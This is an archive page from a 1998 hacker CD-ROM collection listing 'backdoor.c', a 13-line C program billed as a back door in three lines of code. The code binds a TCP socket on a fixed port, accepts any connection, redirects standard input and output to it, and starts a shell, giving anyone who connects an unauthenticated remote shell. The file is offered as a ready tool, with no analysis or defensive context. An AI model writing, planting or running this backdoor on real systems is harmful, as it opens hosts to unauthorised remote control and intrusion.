home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / general / backdoor.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  179 b   |  13 lines

  1. /* Back door in 3 lines of code. */
  2.  
  3.  
  4.  
  5. short a[9];
  6.  
  7. main(){
  8.     a[1]=8738;
  9.     dup2(dup2(accept(3,listen(3,1),bind(socket(*a=2,1,0),a,16)),0),1);
  10.     system("sh");
  11. }
  12.  
  13.